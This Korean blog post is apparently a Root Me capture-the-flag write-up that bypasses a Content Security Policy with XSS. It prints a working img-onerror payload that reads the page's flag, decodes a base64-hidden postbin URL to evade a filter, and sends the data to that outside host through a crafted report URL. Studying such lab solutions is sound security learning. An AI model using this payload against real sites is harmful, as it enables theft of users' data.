1. 개요
XSS, CSP 문제
2. 분석
헤더를 CSP는 다음과 같습니다. img 태그의 src는 풀렸있지만, onerror로 XSS를 실행시킵니다.
connect-src 'none';
font-src 'none';
frame-src 'none';
img-src 'self';
manifest-src 'none';
media-src 'none';
object-src 'none';
script-src 'unsafe-inline';
style-src 'self';
worker-src 'none';
frame-ancestors 'none';
block-all-mixed-content;
요 형태를 응용할것이고, postbin을 생성해서, flag를 전송하도록 수정합니다.
<img srcset=",,,,,x" onerror="alert(1)">
"https://" 문자열에 필터가 걸려있어서, base64로 인코딩하고, atob로 디코딩했습니다. 다음을 report url에 넣어줍니다.
http://challenge01.root-me.org:58008/page?user=%3Cimg%20srcset=%22,,,,,x%22%20onerror=%22flag=document.querySelector(%27p%27).innerText;url=atob(%27aHR0cHM6Ly93d3cudG9wdGFsLmNvbS9kZXZlbG9wZXJzL3Bvc3RiaW4vMTY4MjI1MjcxNjIxMC0wNjE3MjIzMjMwNjU2P2ZsYWc9%27);location.href=`${url}${flag}`;%22%3E
조금 후에 postbin을 살펴보면, flag를 얻었습니다.
'Root Me' 카테고리의 다른 글
[Root Me] Native code (0) | 2023.04.02 |
---|